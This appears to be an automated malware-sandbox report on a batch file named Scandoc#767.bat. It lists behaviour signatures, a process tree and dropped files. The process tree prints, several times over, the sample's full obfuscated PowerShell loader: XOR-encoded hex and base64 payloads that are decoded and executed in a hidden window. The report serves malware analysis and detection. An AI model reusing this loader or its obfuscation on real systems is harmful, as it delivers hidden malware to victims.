Overview

overview

8

Static

static

1

Scandoc#767.bat

windows10-2004-x64

8

Scandoc#767.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/08/2026, 12:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Scandoc#767.bat
  • Size 38KB
  • Sample260811-p5cffstcnc
  • SHA256 0c4cc485970a7b2a7cf38f30903d7ea025130878b1e7387ba87f9ab87cfa3766
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

    execution
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Scandoc#767.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=86-81;$fHX1TlYbP=''DafQ3CzP'';$dF4WbJ=''e3c19f8ff89ba4d7bda7a99ee9c9fda98ba8a395fd9af0c9e3c197b5fc9dfea98bb9ba92fa8c809587a5b8b6f887b19d8bb991c1a3bab5999bb9a58fe0b9a2959aa4af94f5c9eddab585a98fb7bab5999bb9a58fe0b9a2959aa4af94f5bda98a8b96f6c1cd85a3cbdcc6c6dffbdfe4c7c9af94b5e98bbd99899eff97e38d97ac9a84b5b9a88ae2969b91b5b9cd8c88b4de919bcbecbcbdac83a98badf38d979698a9a688fe8a98ac87a98b97f3a097b49d9294b5e3a096b881929bcea98be2cba69294a9f58ce3b8df92a183e9b0a9b894af8bbda98887b7899a94b5e3b387cb87a98490febd97c3869189bde38ae2ac9a92a183aca297b0dbaf8badfbb183b88080948fdb8ae3b482a99bb1ea8c83b8819b99bde38ae2ac9a92a183aca5bb9e82af89adadb387b4dfaf8b97ecb3e0bc94a8feadedb0bd82db808f90aea0979683808b9cfea084cb9baf9b83eaa2888ed78284b1f58d98ac97a9a5b9db8a98b8aba9fecaf18887ce9b9affade08abdac9baf89a9ef8b87bc9ea9a5ced48be2bc85808b98e9a6e3cbd7ecc1f1d88db4d7bab2bc9eb9c484839eae889eff80be939aa2a395b9c18bae8bb3b8d5dc87b3958aa2a29cc4d3eaafba8df4d5de8ca4a99ab9a595fec18bb981a5ba9eeb9d8dc0d48dbe94f4abb1898bfdf8a8ed9bb99489e3e899afddf9d3c7c6c69dec87b38e87a4a2dbfdc1f496c7b0e88ca4a7b58dc384ae91fc8aa4daa0aeb8d5ce8cb2b982a2a995edd2f8bd8bbfe1a9f887b49583ebe897b9c493959ba5b8dbbd85feb981bea28fb095f5819ab9b580eb8ca48f9ca5ecdfeec7949599a5a094f88d949b9aaae4dfc6c0ad998fbfaf93e294ad87e3c1aa8ef78aa49381a5ec92b1cdb1d6cabfe0dff4c5f48ad38be4d2b092f483d3909c93f887a495838cad8ffcb4eac0a2a4ad9fd89aa39f83a9a082b1cdb1d3d5ef9ec6bd90febd8bbf9882e98ca3d2c7b7f380bdb6febc9ba7a0b5f884b5dac3aebddbbd'';$ybKirU=''ZUkIIAgrC1c/c1ZwK3NbbX5QGyALOgdeQ1FVaAN1W2x+Wh1GD3hLbH9TdWgHcVxYNmRGZgp/TClfW11UE3RDbHIYYHAHYkZmPX1ddxJ3QWZ0ExotXTJAOHhSGyVCeAFMYmdHZRJ/TCxqb3JnEn9ZZGVbQVlcLGx3dFVHYS94XHFwWlBhTjJ9LGwPF2pIX0Fzfl9WLEJ5AyFhHU4JbBslIXoJcyxOMUdxZRMTL0YxXz8+G0BtAXhOYnRdXXcPcUFscBpQa0hsTip6XUl+HzkeK3tEVCNPOgcieUBHdFw5ADQoBh02UyMBNCgBHTVTJgBsfFMcNUh8X2I2HR8sQX5bcWEOHCtUJhYrJAAdNVYlATQiBBxtC3EAND9eQ2NBPwYIG11VLE4ySDh1FBdvTztOa3UcF3BbTXtgaUAdQQh1QGF4WlRZXCx6UVcMHUMDYnxxY11dY04ySCw4GV5lEnVHIi0IYFAnMQ8uMRNhUFgoBys7Cxo4WlNhIjEfEyMiKBEiOE8+DkY2C2J2UhM5RjFbfWUaXWkveUpqfBtUaQ85FzUjGgEzVzgdMiAaBDRXOQA/dkdVbwFwR2NiUkBgQTYUJTVTVGJGKw8hdlNVKjVjTXZlRlpqAT4fKTEQVGMAOGNgf1NHbEY7DzQjHT4OQnoPODETAyNGLSIPNVlKOUF7VnVjW1R2B3sBTX4TEy9GMUJgdEcUP2scDyUxFFokTk1san9CVnYSSxU/V0ZcaSR3XGAnAGBwFH9BYjkQfmUSdUdgYm8CWU8/DyF8TRMjFGNBdmITE0ROMkhidxgTIAo6DyI2GBMjNHNIRGJZFChGMR8iMRgTIx4uGSI4OTkkRjYPQnRAHlQUeUxgYkdPdwlkWyVSZGYkS3JKdnJIQGEKc0xxMRlVbRRlWyUkSFVwRlhOaHQYcFQzNlIIGzk5JEY2DyUxFBMkRg=='';$dAEMIQ2=0xFA86-0xE258;$eBZ2JgmE=@();foreach($c in [char[]]$fHX1TlYbP){$eBZ2JgmE+=[byte]($c-bxor0xAA)};$yxeeDWe=$eBZ2JgmE;$eBZ2JgmE=@();foreach($c in [char[]]$fHX1TlYbP){$eBZ2JgmE+=[byte]($c-bxor0x55)};$j0HzT37N=$eBZ2JgmE;$eBZ2JgmEoldR='''';$i=0;for($j=0;$j-lt$dF4WbJ.Length;$j+=2){$eBZ2JgmEoldR+=[char](([Convert]::ToInt32($dF4WbJ.Substring($j,2),16))-bxor$yxeeDWe[$i++%$yxeeDWe.Length])};$siuqM5p=$eBZ2JgmEoldR;$eBZ2JgmEoldB=[Convert]::FromBase64String([regex]::Replace($ybKirU, ''$eBZ2JgmE'', ''''));$eBZ2JgmEoldR='''';$i=0;for($j=0;$j-lt$eBZ2JgmEoldB.Length;$j++){$eBZ2JgmEoldR+=[char]($eBZ2JgmEoldB[$j]-bxor$j0HzT37N[$i++%$j0HzT37N.Length])};$gWAKeuGuR=$eBZ2JgmEoldR;$zt3LIoeh=$siuqM5p+$gWAKeuGuR;.($env:ComSpec[4,26,25]-join'''') $zt3LIoeh"'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=86-81;$fHX1TlYbP='DafQ3CzP';$dF4WbJ='e3c19f8ff89ba4d7bda7a99ee9c9fda98ba8a395fd9af0c9e3c197b5fc9dfea98bb9ba92fa8c809587a5b8b6f887b19d8bb991c1a3bab5999bb9a58fe0b9a2959aa4af94f5c9eddab585a98fb7bab5999bb9a58fe0b9a2959aa4af94f5bda98a8b96f6c1cd85a3cbdcc6c6dffbdfe4c7c9af94b5e98bbd99899eff97e38d97ac9a84b5b9a88ae2969b91b5b9cd8c88b4de919bcbecbcbdac83a98badf38d979698a9a688fe8a98ac87a98b97f3a097b49d9294b5e3a096b881929bcea98be2cba69294a9f58ce3b8df92a183e9b0a9b894af8bbda98887b7899a94b5e3b387cb87a98490febd97c3869189bde38ae2ac9a92a183aca297b0dbaf8badfbb183b88080948fdb8ae3b482a99bb1ea8c83b8819b99bde38ae2ac9a92a183aca5bb9e82af89adadb387b4dfaf8b97ecb3e0bc94a8feadedb0bd82db808f90aea0979683808b9cfea084cb9baf9b83eaa2888ed78284b1f58d98ac97a9a5b9db8a98b8aba9fecaf18887ce9b9affade08abdac9baf89a9ef8b87bc9ea9a5ced48be2bc85808b98e9a6e3cbd7ecc1f1d88db4d7bab2bc9eb9c484839eae889eff80be939aa2a395b9c18bae8bb3b8d5dc87b3958aa2a29cc4d3eaafba8df4d5de8ca4a99ab9a595fec18bb981a5ba9eeb9d8dc0d48dbe94f4abb1898bfdf8a8ed9bb99489e3e899afddf9d3c7c6c69dec87b38e87a4a2dbfdc1f496c7b0e88ca4a7b58dc384ae91fc8aa4daa0aeb8d5ce8cb2b982a2a995edd2f8bd8bbfe1a9f887b49583ebe897b9c493959ba5b8dbbd85feb981bea28fb095f5819ab9b580eb8ca48f9ca5ecdfeec7949599a5a094f88d949b9aaae4dfc6c0ad998fbfaf93e294ad87e3c1aa8ef78aa49381a5ec92b1cdb1d6cabfe0dff4c5f48ad38be4d2b092f483d3909c93f887a495838cad8ffcb4eac0a2a4ad9fd89aa39f83a9a082b1cdb1d3d5ef9ec6bd90febd8bbf9882e98ca3d2c7b7f380bdb6febc9ba7a0b5f884b5dac3aebddbbd';$ybKirU='ZUkIIAgrC1c/c1ZwK3NbbX5QGyALOgdeQ1FVaAN1W2x+Wh1GD3hLbH9TdWgHcVxYNmRGZgp/TClfW11UE3RDbHIYYHAHYkZmPX1ddxJ3QWZ0ExotXTJAOHhSGyVCeAFMYmdHZRJ/TCxqb3JnEn9ZZGVbQVlcLGx3dFVHYS94XHFwWlBhTjJ9LGwPF2pIX0Fzfl9WLEJ5AyFhHU4JbBslIXoJcyxOMUdxZRMTL0YxXz8+G0BtAXhOYnRdXXcPcUFscBpQa0hsTip6XUl+HzkeK3tEVCNPOgcieUBHdFw5ADQoBh02UyMBNCgBHTVTJgBsfFMcNUh8X2I2HR8sQX5bcWEOHCtUJhYrJAAdNVYlATQiBBxtC3EAND9eQ2NBPwYIG11VLE4ySDh1FBdvTztOa3UcF3BbTXtgaUAdQQh1QGF4WlRZXCx6UVcMHUMDYnxxY11dY04ySCw4GV5lEnVHIi0IYFAnMQ8uMRNhUFgoBys7Cxo4WlNhIjEfEyMiKBEiOE8+DkY2C2J2UhM5RjFbfWUaXWkveUpqfBtUaQ85FzUjGgEzVzgdMiAaBDRXOQA/dkdVbwFwR2NiUkBgQTYUJTVTVGJGKw8hdlNVKjVjTXZlRlpqAT4fKTEQVGMAOGNgf1NHbEY7DzQjHT4OQnoPODETAyNGLSIPNVlKOUF7VnVjW1R2B3sBTX4TEy9GMUJgdEcUP2scDyUxFFokTk1san9CVnYSSxU/V0ZcaSR3XGAnAGBwFH9BYjkQfmUSdUdgYm8CWU8/DyF8TRMjFGNBdmITE0ROMkhidxgTIAo6DyI2GBMjNHNIRGJZFChGMR8iMRgTIx4uGSI4OTkkRjYPQnRAHlQUeUxgYkdPdwlkWyVSZGYkS3JKdnJIQGEKc0xxMRlVbRRlWyUkSFVwRlhOaHQYcFQzNlIIGzk5JEY2DyUxFBMkRg==';$dAEMIQ2=0xFA86-0xE258;$eBZ2JgmE=@();foreach($c in [char[]]$fHX1TlYbP){$eBZ2JgmE+=[byte]($c-bxor0xAA)};$yxeeDWe=$eBZ2JgmE;$eBZ2JgmE=@();foreach($c in [char[]]$fHX1TlYbP){$eBZ2JgmE+=[byte]($c-bxor0x55)};$j0HzT37N=$eBZ2JgmE;$eBZ2JgmEoldR='';$i=0;for($j=0;$j-lt$dF4WbJ.Length;$j+=2){$eBZ2JgmEoldR+=[char](([Convert]::ToInt32($dF4WbJ.Substring($j,2),16))-bxor$yxeeDWe[$i++%$yxeeDWe.Length])};$siuqM5p=$eBZ2JgmEoldR;$eBZ2JgmEoldB=[Convert]::FromBase64String([regex]::Replace($ybKirU, '$eBZ2JgmE', ''));$eBZ2JgmEoldR='';$i=0;for($j=0;$j-lt$eBZ2JgmEoldB.Length;$j++){$eBZ2JgmEoldR+=[char]($eBZ2JgmEoldB[$j]-bxor$j0HzT37N[$i++%$j0HzT37N.Length])};$gWAKeuGuR=$eBZ2JgmEoldR;$zt3LIoeh=$siuqM5p+$gWAKeuGuR;.($env:ComSpec[4,26,25]-join'') $zt3LIoeh
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4284
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nzbqimaf\nzbqimaf.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3280
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB21.tmp" "c:\Users\Admin\AppData\Local\Temp\nzbqimaf\CSCC82B5427056487E8CCF15DB77C74BC.TMP"
            5⤵
              PID:3316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=86-81;$fHX1TlYbP=''DafQ3CzP'';$dF4WbJ=''e3c19f8ff89ba4d7bda7a99ee9c9fda98ba8a395fd9af0c9e3c197b5fc9dfea98bb9ba92fa8c809587a5b8b6f887b19d8bb991c1a3bab5999bb9a58fe0b9a2959aa4af94f5c9eddab585a98fb7bab5999bb9a58fe0b9a2959aa4af94f5bda98a8b96f6c1cd85a3cbdcc6c6dffbdfe4c7c9af94b5e98bbd99899eff97e38d97ac9a84b5b9a88ae2969b91b5b9cd8c88b4de919bcbecbcbdac83a98badf38d979698a9a688fe8a98ac87a98b97f3a097b49d9294b5e3a096b881929bcea98be2cba69294a9f58ce3b8df92a183e9b0a9b894af8bbda98887b7899a94b5e3b387cb87a98490febd97c3869189bde38ae2ac9a92a183aca297b0dbaf8badfbb183b88080948fdb8ae3b482a99bb1ea8c83b8819b99bde38ae2ac9a92a183aca5bb9e82af89adadb387b4dfaf8b97ecb3e0bc94a8feadedb0bd82db808f90aea0979683808b9cfea084cb9baf9b83eaa2888ed78284b1f58d98ac97a9a5b9db8a98b8aba9fecaf18887ce9b9affade08abdac9baf89a9ef8b87bc9ea9a5ced48be2bc85808b98e9a6e3cbd7ecc1f1d88db4d7bab2bc9eb9c484839eae889eff80be939aa2a395b9c18bae8bb3b8d5dc87b3958aa2a29cc4d3eaafba8df4d5de8ca4a99ab9a595fec18bb981a5ba9eeb9d8dc0d48dbe94f4abb1898bfdf8a8ed9bb99489e3e899afddf9d3c7c6c69dec87b38e87a4a2dbfdc1f496c7b0e88ca4a7b58dc384ae91fc8aa4daa0aeb8d5ce8cb2b982a2a995edd2f8bd8bbfe1a9f887b49583ebe897b9c493959ba5b8dbbd85feb981bea28fb095f5819ab9b580eb8ca48f9ca5ecdfeec7949599a5a094f88d949b9aaae4dfc6c0ad998fbfaf93e294ad87e3c1aa8ef78aa49381a5ec92b1cdb1d6cabfe0dff4c5f48ad38be4d2b092f483d3909c93f887a495838cad8ffcb4eac0a2a4ad9fd89aa39f83a9a082b1cdb1d3d5ef9ec6bd90febd8bbf9882e98ca3d2c7b7f380bdb6febc9ba7a0b5f884b5dac3aebddbbd'';$ybKirU=''ZUkIIAgrC1c/c1ZwK3NbbX5QGyALOgdeQ1FVaAN1W2x+Wh1GD3hLbH9TdWgHcVxYNmRGZgp/TClfW11UE3RDbHIYYHAHYkZmPX1ddxJ3QWZ0ExotXTJAOHhSGyVCeAFMYmdHZRJ/TCxqb3JnEn9ZZGVbQVlcLGx3dFVHYS94XHFwWlBhTjJ9LGwPF2pIX0Fzfl9WLEJ5AyFhHU4JbBslIXoJcyxOMUdxZRMTL0YxXz8+G0BtAXhOYnRdXXcPcUFscBpQa0hsTip6XUl+HzkeK3tEVCNPOgcieUBHdFw5ADQoBh02UyMBNCgBHTVTJgBsfFMcNUh8X2I2HR8sQX5bcWEOHCtUJhYrJAAdNVYlATQiBBxtC3EAND9eQ2NBPwYIG11VLE4ySDh1FBdvTztOa3UcF3BbTXtgaUAdQQh1QGF4WlRZXCx6UVcMHUMDYnxxY11dY04ySCw4GV5lEnVHIi0IYFAnMQ8uMRNhUFgoBys7Cxo4WlNhIjEfEyMiKBEiOE8+DkY2C2J2UhM5RjFbfWUaXWkveUpqfBtUaQ85FzUjGgEzVzgdMiAaBDRXOQA/dkdVbwFwR2NiUkBgQTYUJTVTVGJGKw8hdlNVKjVjTXZlRlpqAT4fKTEQVGMAOGNgf1NHbEY7DzQjHT4OQnoPODETAyNGLSIPNVlKOUF7VnVjW1R2B3sBTX4TEy9GMUJgdEcUP2scDyUxFFokTk1san9CVnYSSxU/V0ZcaSR3XGAnAGBwFH9BYjkQfmUSdUdgYm8CWU8/DyF8TRMjFGNBdmITE0ROMkhidxgTIAo6DyI2GBMjNHNIRGJZFChGMR8iMRgTIx4uGSI4OTkkRjYPQnRAHlQUeUxgYkdPdwlkWyVSZGYkS3JKdnJIQGEKc0xxMRlVbRRlWyUkSFVwRlhOaHQYcFQzNlIIGzk5JEY2DyUxFBMkRg=='';$dAEMIQ2=0xFA86-0xE258;$eBZ2JgmE=@();foreach($c in [char[]]$fHX1TlYbP){$eBZ2JgmE+=[byte]($c-bxor0xAA)};$yxeeDWe=$eBZ2JgmE;$eBZ2JgmE=@();foreach($c in [char[]]$fHX1TlYbP){$eBZ2JgmE+=[byte]($c-bxor0x55)};$j0HzT37N=$eBZ2JgmE;$eBZ2JgmEoldR='''';$i=0;for($j=0;$j-lt$dF4WbJ.Length;$j+=2){$eBZ2JgmEoldR+=[char](([Convert]::ToInt32($dF4WbJ.Substring($j,2),16))-bxor$yxeeDWe[$i++%$yxeeDWe.Length])};$siuqM5p=$eBZ2JgmEoldR;$eBZ2JgmEoldB=[Convert]::FromBase64String([regex]::Replace($ybKirU, ''$eBZ2JgmE'', ''''));$eBZ2JgmEoldR='''';$i=0;for($j=0;$j-lt$eBZ2JgmEoldB.Length;$j++){$eBZ2JgmEoldR+=[char]($eBZ2JgmEoldB[$j]-bxor$j0HzT37N[$i++%$j0HzT37N.Length])};$gWAKeuGuR=$eBZ2JgmEoldR;$zt3LIoeh=$siuqM5p+$gWAKeuGuR;.($env:ComSpec[4,26,25]-join'''') $zt3LIoeh"'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=86-81;$fHX1TlYbP='DafQ3CzP';$dF4WbJ='e3c19f8ff89ba4d7bda7a99ee9c9fda98ba8a395fd9af0c9e3c197b5fc9dfea98bb9ba92fa8c809587a5b8b6f887b19d8bb991c1a3bab5999bb9a58fe0b9a2959aa4af94f5c9eddab585a98fb7bab5999bb9a58fe0b9a2959aa4af94f5bda98a8b96f6c1cd85a3cbdcc6c6dffbdfe4c7c9af94b5e98bbd99899eff97e38d97ac9a84b5b9a88ae2969b91b5b9cd8c88b4de919bcbecbcbdac83a98badf38d979698a9a688fe8a98ac87a98b97f3a097b49d9294b5e3a096b881929bcea98be2cba69294a9f58ce3b8df92a183e9b0a9b894af8bbda98887b7899a94b5e3b387cb87a98490febd97c3869189bde38ae2ac9a92a183aca297b0dbaf8badfbb183b88080948fdb8ae3b482a99bb1ea8c83b8819b99bde38ae2ac9a92a183aca5bb9e82af89adadb387b4dfaf8b97ecb3e0bc94a8feadedb0bd82db808f90aea0979683808b9cfea084cb9baf9b83eaa2888ed78284b1f58d98ac97a9a5b9db8a98b8aba9fecaf18887ce9b9affade08abdac9baf89a9ef8b87bc9ea9a5ced48be2bc85808b98e9a6e3cbd7ecc1f1d88db4d7bab2bc9eb9c484839eae889eff80be939aa2a395b9c18bae8bb3b8d5dc87b3958aa2a29cc4d3eaafba8df4d5de8ca4a99ab9a595fec18bb981a5ba9eeb9d8dc0d48dbe94f4abb1898bfdf8a8ed9bb99489e3e899afddf9d3c7c6c69dec87b38e87a4a2dbfdc1f496c7b0e88ca4a7b58dc384ae91fc8aa4daa0aeb8d5ce8cb2b982a2a995edd2f8bd8bbfe1a9f887b49583ebe897b9c493959ba5b8dbbd85feb981bea28fb095f5819ab9b580eb8ca48f9ca5ecdfeec7949599a5a094f88d949b9aaae4dfc6c0ad998fbfaf93e294ad87e3c1aa8ef78aa49381a5ec92b1cdb1d6cabfe0dff4c5f48ad38be4d2b092f483d3909c93f887a495838cad8ffcb4eac0a2a4ad9fd89aa39f83a9a082b1cdb1d3d5ef9ec6bd90febd8bbf9882e98ca3d2c7b7f380bdb6febc9ba7a0b5f884b5dac3aebddbbd';$ybKirU='ZUkIIAgrC1c/c1ZwK3NbbX5QGyALOgdeQ1FVaAN1W2x+Wh1GD3hLbH9TdWgHcVxYNmRGZgp/TClfW11UE3RDbHIYYHAHYkZmPX1ddxJ3QWZ0ExotXTJAOHhSGyVCeAFMYmdHZRJ/TCxqb3JnEn9ZZGVbQVlcLGx3dFVHYS94XHFwWlBhTjJ9LGwPF2pIX0Fzfl9WLEJ5AyFhHU4JbBslIXoJcyxOMUdxZRMTL0YxXz8+G0BtAXhOYnRdXXcPcUFscBpQa0hsTip6XUl+HzkeK3tEVCNPOgcieUBHdFw5ADQoBh02UyMBNCgBHTVTJgBsfFMcNUh8X2I2HR8sQX5bcWEOHCtUJhYrJAAdNVYlATQiBBxtC3EAND9eQ2NBPwYIG11VLE4ySDh1FBdvTztOa3UcF3BbTXtgaUAdQQh1QGF4WlRZXCx6UVcMHUMDYnxxY11dY04ySCw4GV5lEnVHIi0IYFAnMQ8uMRNhUFgoBys7Cxo4WlNhIjEfEyMiKBEiOE8+DkY2C2J2UhM5RjFbfWUaXWkveUpqfBtUaQ85FzUjGgEzVzgdMiAaBDRXOQA/dkdVbwFwR2NiUkBgQTYUJTVTVGJGKw8hdlNVKjVjTXZlRlpqAT4fKTEQVGMAOGNgf1NHbEY7DzQjHT4OQnoPODETAyNGLSIPNVlKOUF7VnVjW1R2B3sBTX4TEy9GMUJgdEcUP2scDyUxFFokTk1san9CVnYSSxU/V0ZcaSR3XGAnAGBwFH9BYjkQfmUSdUdgYm8CWU8/DyF8TRMjFGNBdmITE0ROMkhidxgTIAo6DyI2GBMjNHNIRGJZFChGMR8iMRgTIx4uGSI4OTkkRjYPQnRAHlQUeUxgYkdPdwlkWyVSZGYkS3JKdnJIQGEKc0xxMRlVbRRlWyUkSFVwRlhOaHQYcFQzNlIIGzk5JEY2DyUxFBMkRg==';$dAEMIQ2=0xFA86-0xE258;$eBZ2JgmE=@();foreach($c in [char[]]$fHX1TlYbP){$eBZ2JgmE+=[byte]($c-bxor0xAA)};$yxeeDWe=$eBZ2JgmE;$eBZ2JgmE=@();foreach($c in [char[]]$fHX1TlYbP){$eBZ2JgmE+=[byte]($c-bxor0x55)};$j0HzT37N=$eBZ2JgmE;$eBZ2JgmEoldR='';$i=0;for($j=0;$j-lt$dF4WbJ.Length;$j+=2){$eBZ2JgmEoldR+=[char](([Convert]::ToInt32($dF4WbJ.Substring($j,2),16))-bxor$yxeeDWe[$i++%$yxeeDWe.Length])};$siuqM5p=$eBZ2JgmEoldR;$eBZ2JgmEoldB=[Convert]::FromBase64String([regex]::Replace($ybKirU, '$eBZ2JgmE', ''));$eBZ2JgmEoldR='';$i=0;for($j=0;$j-lt$eBZ2JgmEoldB.Length;$j++){$eBZ2JgmEoldR+=[char]($eBZ2JgmEoldB[$j]-bxor$j0HzT37N[$i++%$j0HzT37N.Length])};$gWAKeuGuR=$eBZ2JgmEoldR;$zt3LIoeh=$siuqM5p+$gWAKeuGuR;.($env:ComSpec[4,26,25]-join'') $zt3LIoeh
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4192
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\usjsrgfc\usjsrgfc.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3740
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE805.tmp" "c:\Users\Admin\AppData\Local\Temp\usjsrgfc\CSC3E5BE416AD334197BDDFED9370767C3C.TMP"
              5⤵
                PID:5316

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ModuleAnalysisCache
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 b4d2605b3421911dd23b203ceda3c674f6e4c59b93f9c9d10ef548e2461a3151
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 de35fcd8c9e432945eee3aa1321f7ebc548bd4154405d5f7f96f4e1083568111
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 4199c788bffff56862bf506de1143c0fc3fb65957c1c5f8c420185bf405cb0ca
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RESE805.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RESE805.tmp
            • Size 1KB
            • SHA256 37f4fc69db7c71031557759c2fce09de0042f4cf8469c1773827a1079893b06a
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RESEB21.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RESEB21.tmp
            • Size 1KB
            • SHA256 29bc37fd7bb26b6a5d3964f0ccee7cbc646e529469ff2ab64b2e637102487ddf
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_dszjei1j.tks.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dszjei1j.tks.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            nzbqimaf.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nzbqimaf\nzbqimaf.dll
            • Size 3KB
            • SHA256 0a16aeaf0584f0875bb428c9514dea28e99a89370ba4fb64e1f0447a1779f148
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            usjsrgfc.dll
            • Path C:\Users\Admin\AppData\Local\Temp\usjsrgfc\usjsrgfc.dll
            • Size 3KB
            • SHA256 bcfd47832eba9fcfa8820d40abb614f7d5d3145c3bd448b4c3a4d822372c116b
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            CSCC82B5427056487E8CCF15DB77C74BC.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\nzbqimaf\CSCC82B5427056487E8CCF15DB77C74BC.TMP
            • Size 652B
            • SHA256 89bc13ad90562bdae74c658c9cebb18ca5c96f114481ce6db46c1f7d3d9445a4
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            nzbqimaf.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\nzbqimaf\nzbqimaf.cmdline
            • Size 369B
            • SHA256 cd6dede3223cd710976764e8c05fcb69f9a919d0edb4db52dfd6f074ef42b4d2
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            CSC3E5BE416AD334197BDDFED9370767C3C.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\usjsrgfc\CSC3E5BE416AD334197BDDFED9370767C3C.TMP
            • Size 652B
            • SHA256 3b21709a276dd0fa59a52326612a03378019faab96b26a4019eda2455c3fc887
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            usjsrgfc.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\usjsrgfc\usjsrgfc.0.cs
            • Size 213B
            • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            usjsrgfc.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\usjsrgfc\usjsrgfc.cmdline
            • Size 369B
